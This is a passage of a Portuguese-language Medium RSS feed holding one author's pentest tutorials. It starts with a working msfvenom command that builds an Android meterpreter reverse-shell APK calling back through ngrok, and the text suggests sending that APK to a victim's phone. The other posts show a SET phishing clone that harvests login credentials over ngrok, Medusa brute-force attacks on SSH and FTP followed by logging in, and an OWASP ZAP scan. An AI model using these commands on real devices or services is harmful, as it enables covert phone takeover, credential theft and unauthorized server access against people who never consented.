reverse_TCP.</p><p>Onde:</p><ul><li><strong>p :</strong> Iremos definir o Payload a ser utilizado</li><li><strong>LHOST e LPORT :</strong> Iremos definir respectivamente o TCP do Ngrok e Porta do ngrok também que o alvo irá se conectar na nossa máquina após a infecção</li><li><strong>R &gt; : </strong>o caminho de onde queremos criar e o nome do APK</li></ul><pre>msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=12643 R &gt; /root/Documentos/medium.apk</pre><p>Se a gente entrar na pasta Documentos iremos encontrar ele lá</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Tw8RqzwoG3nN2pSlenOCuA.png" /></figure><h3>Iniciando o Metasploit e Manipulando as sessões</h3><p>Agora iremos abrir o msfconsole siga os comando</p><pre>#msfconsole  <br> msf &gt; use exploit/multi/handler   <br> msf &gt;set PAYLOAD android/meterpreter/reverse_tcp    <br> msf &gt;set LHOST 127.0.0.1<br> msf &gt;set LPORT 22 <br> msf &gt; exploit</pre><p>Agora é só testar se tudo esta funcionando. Nesse caso irei realizar um emulador pra realizar a invasão, mas você pode realizar em um celular de uma vítima.</p><p>Utilizei meu Telegram para enviar o apk para o emulador Android, mas você pode utilizar outro métodos para enviar o apk para alguém</p><h3><strong>Iniciando a sessão com a vítima</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*Ze43fFw3TkaEXf66D067FA.png" /></figure><p>Agora é só clicar em abrir</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ApaucFdtSq4N2X_tc8yy5A.png" /></figure><p>Conseguimos, tudo deu certo! Agora temos acesso total do celular da vitima.</p><p>irei</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZBDqFyzwXU-d0mxWdCNdQ.png" /></figure><p>Agora é só você utilizar os comandos para explorar as informações da vítima.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*xkh7oTrEppbs2KWmJObxyw.png" /></figure><p>Valeu!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*zjLuwx69oKCVaILL.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f646e1e03798" width="1" height="1" alt=""><hr><p><a href="https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798">Invadindo celular Android usando Msfvenom e Ngrok</a> was originally published in <a href="https://medium.com/devshift">devshift</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Localizando vulnerabilidade em aplicação Web]]></title>
            <link>https://medium.com/@murilothink/localizando-vulnerabilidade-em-aplica%C3%A7%C3%A3o-web-64481f46bfd6?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/64481f46bfd6</guid>
            <category><![CDATA[kali]]></category>
            <category><![CDATA[owaspzap]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Thu, 17 Oct 2019 00:51:16 GMT</pubDate>
            <atom:updated>2019-10-17T00:51:16.904Z</atom:updated>
            <content:encoded><![CDATA[<p>Fundada em 2001, a OWASP (Open Web Application Security Project) é uma comunidade online que cria e disponibiliza de forma gratuita artigos, metodologias, documentação, ferramentas e tecnologias no campo da segurança de aplicações web. Seu documento mais famoso é o OWASP Top 10, que define os maiores riscos de segurança em aplicações web. A lista desses riscos são atualizadas anualmente e podem ser visualizadas gratuitamente em sua comunidade.</p><p>Hoje irei demonstrar um método simples de como localizar vulnerabilidade em uma aplicação web com. O OWASP-ZAP é muito utilizado de forma manual por quem está executando o teste de vulnerabilidade e utilizado entre as ferramentas de pentester, mas ele também fornece um conjunto de APIs permitindo que o programador automatize através de scripts a execução dos testes. Além disso, existe muitas opções para realizar verificações, eu irei explicar o método mais simples.</p><p>Não irei realizar nenhum ataque com as vulnerabilidades encontradas nesse artigo, mas irei usar ele como base para escrever um próximo artigo e realizar um ataque usando o SQLMap.</p><p>Lembrando também que:</p><blockquote><strong><em>O conteúdo que se apresenta nesse artigo e destinado aos profissionais e estudantes de Segurança da Informação. Não nos responsabilizamos pelo maus uso das técnicas apresentadas.</em></strong></blockquote><h3>Bora começar ?</h3><h4>Verificando o Java</h4><p>Primeiramente iremos verificar o nosso java, aqui nesse caso meu kali linux já veio instalado o java 11.0.4, caso tenha problema com java é só baixar ele na pagina da Oracle.</p><blockquote>Lembrando que você também pode utilizar o Windows para instalar o OWASP, mas nesse caso irei utilizar o Kali Linux para realizar a instalação.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*STKCuIpGOX3yls54xhtggQ.png" /></figure><h4>Instalando o OWASP</h4><p>Para instalar, faça download na pagina do Owasp:</p><p><a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project">OWASP ZAP</a></p><p>Agora, em downloads iremos em propriedade do arquivo instalado e clicaremos em permissão para e marcar o campo “Permitir execução do arquivo como um programa”</p><p>Em seguida você pode dar 2 cliques para instalar o aplicativo.</p><p>Caso de erro siga o próximo passo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*s0Cq4YtuVAx7N_3g4bcVYg.png" /></figure><p>Agora iremos tentar, instalar ele pelo terminal com o comando</p><blockquote>sudo ./nomedoarquivo.sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*wrxxyr46OMehyuStqRvCNw.png" /></figure><p>Agora só seguir a instalação com “Avançar” em todas etapas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*_g5m4CuJMDiEtl5Xq7vwCA.png" /></figure><h4>Entendo o Programa</h4><p>Introdução à interface do usuário ZAP Vamos dar uma breve olhada no layout da interface do usuário ZAP para entender o básico. Na tela a seguir, enumerei janelas com 4 seções.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-h-ANwSxUbgWOj4m.png" /><figcaption>imagem: <a href="https://medium.com/volosoft/">https://medium.com/volosoft/</a></figcaption></figure><p>1 — Modos: no canto superior esquerdo da tela, você vê os modos. Existem 4 modos;</p><pre>Modo padrão: permite fazer qualquer coisa em qualquer site.<br>Modo de ataque: ativo verifica todos os sites.<br>Modo de segurança: desativa todos os recursos prejudiciais durante a digitalização.<br>Modo protegido: permite digitalizar sites em um escopo específico. Impede que você verifique um site indesejado</pre><p>2 — Sites: Todos os sites que você acessa através do ZAP Proxy serão listados aqui. Se o seu site fizer uma solicitação para outro site, você o verá em outro site.</p><p>3 — Janela da área de trabalho: A janela da área de trabalho consiste em 3 guias:</p><pre>3.1 - Janela de início rápido: é a maneira mais rápida e direta de iniciar uma verificação ativa. Digite o endereço do site de destino no URL para atacar a entrada e pressione o botão de ataque. Primeiro ele rastreia o site e depois executa a verificação ativa.</pre><pre>3.2 - Janela Solicitação e resposta: estas são as partes mais usadas da interface do usuário. Na guia solicitação, você vê a janela dividida em 2 partes. A parte superior mostra o cabeçalho e os cookies da solicitação e a parte inferior mostra os parâmetros de postagem como enviados ao servidor. As janelas de resposta são semelhantes à janela de solicitação. Mostra o cabeçalho e o corpo da resposta.</pre><p>Esse foi uma introdução básica da ferramenta,</p><h4>Localizando vulnerabilidade</h4><p>Logo apos ter instalado o programa, iremos executar o programa. Depois de aberto iremos deparar com a tela inicial da ferramenta e iremos clicar em:</p><blockquote>Automated Scan</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*yiFxP9LUdGzPWpp1pJQgjw.png" /></figure><p>Eu escolhi o site <a href="http://testphp.vulnweb.com/"><strong>http://testphp.vulnweb.com</strong></a><strong> </strong>para realizar o teste de busca de insegurança, lembrando que esse site é especialmente usado para pentest, você pode usar também uma aplicação web sua.</p><p>Coloque o URL do ataque, e selecionar <strong>ataque. </strong>A partir daí a nossa ferramenta começará a trabalhar, ela ira analisar todo o código em busca de vulnerabilidade.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*dMq3hPHlHZwymyLnWCOwUg.png" /></figure><p>Em seguida, depois de alguns minutinhos a ferramenta vai nos trazer um relatório de vulnerabilidades encontradas, para analisar essas vulnerabilidades é só clicar no botão “Alarme”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*yYX_b7aa9SsgEgPDfODQ0g.png" /></figure><p>Perceba que ele trouxe pra gente algumas insegurança da aplicação web, se a gente ver clicar no Cross Site, ele mostra uma tela do lado dizendo “High” isso quer dizer que o risco dessa vulnerabilidade e alta. Quando clicamos na setinha ele mostra as 16 linhas com esse problema. Além disso, ele trouxe pra gente 3 fragilidade nível Alta no Alarme, Cross-site scripting (16), Injeção SQL (8), Remote File Inclusion (2)</p><p><strong><em>Cross-site scripting</em></strong> (<strong>XSS</strong>) é um tipo de vulnerabilidade do sistema de segurança de um computador, encontrado normalmente em <a href="https://pt.wikipedia.org/wiki/Aplica%C3%A7%C3%B5es_web">aplicações <em>web</em></a> que ativam ataques maliciosos ao injetarem <a href="https://pt.wikipedia.org/wiki/Client-side_script"><em>client-side script</em></a> dentro das <a href="https://pt.wikipedia.org/w/index.php?title=P%C3%A1gina_web&amp;action=edit&amp;redlink=1">páginas <em>web</em></a> vistas por outros usuários. Um <a href="https://pt.wikipedia.org/wiki/Linguagem_de_script"><em>script</em></a> de exploração de vulnerabilidade <em>cross-site</em> pode ser usado pelos atacantes para escapar aos controles de acesso que usam a política de mesma origem.</p><p><strong>Injeção de SQL</strong> (do inglês <em>SQL Injection</em>) é um tipo de ameaça de <a href="https://pt.wikipedia.org/wiki/Seguran%C3%A7a">segurança</a> que se aproveita de falhas em sistemas que interagem com <a href="https://pt.wikipedia.org/wiki/Bases_de_dados">bases de dados</a> através de comandos <a href="https://pt.wikipedia.org/wiki/SQL">SQL</a>, onde o atacante consegue inserir uma <a href="https://pt.wikipedia.org/wiki/Instru%C3%A7%C3%B5es">instrução</a> SQL personalizada e indevida dentro de uma consulta (SQL query) através da entradas de dados de uma aplicação, como formulários ou URL de uma aplicação.<a href="https://pt.wikipedia.org/wiki/Inje%C3%A7%C3%A3o_de_SQL#cite_note-:0-1">[1]</a></p><p><strong>A inclusão remota de arquivos </strong>(também conhecida como RFI) é o processo de inclusão de arquivos remotos através da exploração de procedimentos de inclusão vulneráveis ​​implementados no aplicativo. Essa vulnerabilidade ocorre, por exemplo, quando uma página recebe, como entrada, o caminho para o arquivo que deve ser incluído e essa entrada não é devidamente higienizada, permitindo a injeção de URL externo. Embora a maioria dos exemplos aponte para scripts PHP vulneráveis, devemos ter em mente que também é comum em outras tecnologias, como JSP, ASP e outras.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*Wrdk87VAnhLk5hu2hPJsgg.png" /></figure><p>O interessante dessa ferramenta é que se clicarmos em um dos GET’s e ao lado descermos a pagina podemos reparar que ele descreve o Cross-site scripting e como ele é usado para ataque e mais pra baixo aparece a solução do problema.</p><p>O mesmo acontece se a gente clicar nos outros “Alarmes” que ele trouxe pra gente.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*nngDWkmqM7cwLvgKh2BH2g.png" /></figure><p>A ferramenta fornece muitas outras opções de analise de vulnerabilidade, mas era apenas isso que eu queria mostrar para vocês, isso pode ajudar bastantes você que é desenvolvedor a encontrar vulnerabilidade.</p><p>Eu usarei uma dessas vulnerabilidades para realizar um ataque em um banco de dados em um outro artigo.</p><p>Se gostou do artigo me acompanhe aqui ou no Linkedin: <a href="https://www.linkedin.com/in/murilohenriquegomes/">https://www.linkedin.com/in/murilohenriquegomes/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*A0TIZsxYXPWanzDo.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64481f46bfd6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Usando Ngrok no kali linux]]></title>
            <link>https://medium.com/@murilothink/usando-ngrok-no-kali-linux-b7e2ce9e7062?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7e2ce9e7062</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[kali]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Tue, 15 Oct 2019 22:31:52 GMT</pubDate>
            <atom:updated>2019-10-16T20:19:44.885Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Aviso: O conteúdo que se apresenta nesse artigo e destinado aos profissionais e estudantes de Segurança da Informação. Não nós responsabilizamos pelo maus uso das técnicas apresentadas.</strong></blockquote><p>O Ngrok é um pequeno programinha de linha de comando que permite criar um túnel de conexão segura a partir do seu <em>localhost</em> e publicá-lo na internet. Ele é multiplataforma, podendo ser usado no Windows, Linux e Mac OS X.</p><p>Irei usar o Ngrok nesse artigo para capturar o login e senha de uma determinada pagina web. Lembrando que nós não responsabilizamos pelo maus uso das técnicas apresentadas.</p><h3><strong>Mãos à obra</strong> !</h3><p>Para inciarmos faça o download da ferramenta no site</p><p><a href="https://ngrok.com/download">https://ngrok.com/download</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*WzJVBc5VonBTia9ehBxvGA.png" /></figure><p>Apos a instalação iremos descompactar</p><pre>unzip ngrok-stable-linux-amd64.zip</pre><p>Dê um ls e verifique se o ngrok está descompactado.</p><p>Logo apos descompactar iremos mover o ngrok para o /bin/ para podermos executa-lo</p><pre>mv ngrok /bin/</pre><p>Pronto, o nosso ngrok esta instalando,mas antes de continuarmos devemos instalar o nosso apache2. Em alguns casos o apache2 ja vem pré instalado no kali linux, só devemos rodar o comando de restart no linux</p><p>Pronto, o nosso ngrok esta instalando,mas antes de continuarmos devemos instalar o nosso apache2. Em alguns casos o apache2 ja vem pré instalado no kali linux, só devemos rodar o comando de restart no linux</p><pre>sudo /etc/init.d/apache2/ restart</pre><p>Agora vamos abrir o ngrok com o comando</p><pre>ngrok http 80<br></pre><p>Repare que nosso ngrok está online. Agora repare no link do Forwarding, ele que nós usaremos para nos conectarmos no <a href="http://testphp.vulnweb.com/login.php">http://testphp.vulnweb.com/</a></p><blockquote>Eu apaguei o meu Forwarding para evitar problema kk</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*rvyhUvifNwjGOsrEyRHxSQ.png" /></figure><p>O próximo passo é abrir um novo terminal e digitar <strong>setoolkit</strong> para realizar o nosso ataque.</p><pre>setoolkit</pre><p>Apos abrir o setoolkit ira aparecer algumas opções e irei acompanhando vocês</p><p>Iremos escolher a opção número 1 que está sublinhada de amarelo</p><p>(caso você apareça uma pagina de <strong>yes</strong>/no selecione yes para abrir o setoolkit)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*ZTU8kXzEXfJ_yNkB7QHmQQ.png" /></figure><p>Opção 2 que está sublinhada de amarelo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*RxM2Rb5EjUbBt1pRZesKfw.png" /></figure><p>Opção 3 que está sublinhada de amarelo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*IywfMXPAOMwqfmhfdHQW6A.png" /></figure><p>Opção 2 que está sublinhada de amarelo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*okuAMxnDyWsEjsMeRlnP_A.png" /></figure><p>Ok, agora iremos colocar o link Forwarding que vimos la em cima.</p><p>logo em seguida, iremos colocar a pagina da clonagem e apartar o enter <a href="http://testphp.vulnweb.com/login.php">http://testphp.vulnweb.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*elIJpfSreuKDf3puJ2wdgA.png" /></figure><p>Em seguida iremos nos deparar com essa tela, é só clicarmos em enter para continuar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*F1KXa2LFM4hqiIt7BS9NtA.png" /></figure><p>digitamos: yes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*8hR8HZ39EGC9f87yX0bevw.png" /></figure><h4><strong>MÁGICAAAA!</strong></h4><p>Mágicaaaaa! Está tudo funcionando bora testar ?</p><p>Para testar é bem simples basta copiar o link Forwarding e colar em seu navegar da sua vm, pode ser a sua vm kali ou uma outra vm para testar. Nesse caso eu usei meu navegador do próprio kali linux,mas você pode testar em outra vm que é o mais recomendável.</p><p>Apos abrir o link perceba seu ngrok http 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*JBBzbi-wEkMJu069dvTnfA.png" /></figure><p>Ele apareceu “HTTP REQUEST” isso quer dizer que alguém acesso o seu link, então isso quer dizer que ele esta ouvindo tudo que está acontecendo no seu forwarding.</p><h3>Etapa final: O que acontece se nós digitarmos nosso usuário e senha no link Forwarding do ngrok?</h3><p>Como você deve ter percebido não precisamos criar um cadastro nem nada disso, você apenas apertar o botão de login</p><p>Nesse caso eu usei um usuário teste e uma senha 123</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*FJxG8CSM2trAZV6y-s4PeQ.png" /></figure><p>Você deve ta se perguntando: Tá cliquei mo link mas e agora ?</p><p>Agora iremos voltar la no setoolkit onde estávamos realizando aquele configuração.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*RCzGGQdZ67aOcWidstI1PQ.png" /></figure><p>Se nós percebemos ele encontrou um MONTEEE de coisa que está tudo em vermelho e verde. Mas, se procurarmos bem olha só o que nós podemos encontrar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*P5XXukXItDxbk1mw6Z0Ihw.png" /></figure><p>Isso mesmo nosso login e senha que digitamos lá na pagina. Legal né ?</p><p>Esse e uma das demais funções do ngrok,</p><p>obrigado e até mais!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/0*cfaSjkXj8C6Ook6B" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7e2ce9e7062" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Realizando ataque de brute force SSH e FTP com a ferramenta Medusa]]></title>
            <link>https://medium.com/@murilothink/realizando-ataque-de-brute-force-ssh-e-ftp-com-a-ferramenta-medusa-f6bd44b5bf53?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6bd44b5bf53</guid>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[brute-force-attack]]></category>
            <category><![CDATA[ssh]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Mon, 14 Oct 2019 01:35:14 GMT</pubDate>
            <atom:updated>2019-10-14T01:35:14.376Z</atom:updated>
            <content:encoded><![CDATA[<p>Olá, hoje irei explicar como realizar um ataque de força bruta em em acesso remoto por SSH e FTP usando a ferramenta Medusa do Kali Linux</p><p>A Ferramenta Medusa é usada como um password attacker em acesso remoto que tem como foco o método de brute force. É utilizado um arquivo .txt com possíveis senhas e usuários para tentar o acesso ao alvo, caso o<br>ataque seja bem sucedido você conseguirá conectar ao alvo.</p><p><strong>Realiza ataque por SSH, FTP, MYSQL, POP3 + 11</strong></p><h4>Configurando o ambiente</h4><p>Para realizar essa demonstração usei uma maquina virtual <strong>atacante</strong> (kali) e <strong>servidor </strong>(Ubuntu server com o SSH e FTP configurado)</p><p>Usando virtual box. Para a realização do ataque e preciso fazer algumas configurações básicas no vm.</p><blockquote><strong>Lembrando que esse procedimento é para pessoas que querem realizar como uma simulação de ataque, caso contrario não é necessário, lembrando também que sua rede precisa estar em REDE NAT , Modo Bridge ou em modo <em>bootavel.</em></strong></blockquote><p>Em Configurações da sua maquina atacante e servidor e preciso realizar as configurações de rede.</p><p><strong>Configurações &gt; Rede &gt; Adaptador &gt; Habilitar placa de rede &gt; Rede Interna </strong>(Coloquei uma imagem para vocês seguirem)</p><p>Lembrando que é preciso realizar esse procedimento nas duas maquinas</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*HYqvJ-FAojfJ4oNEk0dcEA.png" /></figure><p>Apos ter feito isso nas duas maquinas é hora de ver se esta tudo ok!</p><h3><strong>Mãos à Obra!</strong></h3><h4>Etapa I configurar IP</h4><p>Ligue as maquinas atacante e servidor</p><p>configura o ip: ifconfig (nome da sua placa de rede) (o ip que você deseja) (mascara de rede)</p><p><strong>Ex: ATACANTE: ifconfig eth0 192.168.56.100</strong> <strong>255.255.255.0</strong></p><p><strong>SERVIDOR: ifconfig eth0 192.168.56.103</strong> <strong>255.255.255.0</strong></p><p>Lembrando que é necessário as duas maquinas estarem na mesma faixa de ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/0*79m2ZhNzNRYrhkXf" /></figure><p>Dê um ping de sua maquina ATACANTE para sua maquina servidor</p><p>Ping 192.168.56.103</p><p>caso sua maquina responda o ping, quer dizer que esta tudo ok.</p><h4>Etapa II</h4><p>Crie uma WORDLISTS com prováveis senhas e outra para prováveis usuários.</p><h4>Etapa III</h4><p>Para realizar o ataque é preciso digitar o seguinte comando:</p><p>medusa -h <strong>(ip do servidor)</strong> -U <strong>(caminho da sua wordlist de usuários)</strong> -P <strong>(caminho da sua wordlist de senhas)</strong> -M <strong>(SSH, FTP, MYSQL, POP3 + 11) -n (porta do protocolo)</strong></p><p>SSH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/0*jdKg9e_6yUxV97OC" /></figure><p>FTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*y4FL7PFKfZ8Kz3ZKpt06pA.png" /></figure><h4><strong>Etapa IV</strong></h4><p>Agora é só esperar a ferramente realizar o ataque de brute force.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sGd-CVIJ3Xxgy_BD" /></figure><h4><strong>Etapa V</strong></h4><p>Caso a ferramenta consiga quebrar a senha você ira se deparar com a palavra <strong>SUCESS </strong>que ira te mostrar o usuário e a senha do servidor SSH ou FTP da maquina ou vitima.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*pGGcVH1Hqt-wfSB7iE3xjg.png" /></figure><h4>Ultima Etapa: Realizando acesso total do servidor</h4><p>O próximo passo e realizar acesso total do servidor.</p><p>Utilize o comando</p><p>ssh (nome do usuario ssh)@(ip do servidor) -p (porta do protocolo)</p><p>e logo em seguida a senha que no meu caso é 123</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*jTjHrLesxdBCpfqwBbzhRw.png" /></figure><p>Apos realizar isso parabéns você já estará dentro do seu servidor ou no servidor da vítima</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*hsZjsX8TNV5cD3qPlYRhQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k6sKQn3a0XYCaQsl.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6bd44b5bf53" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>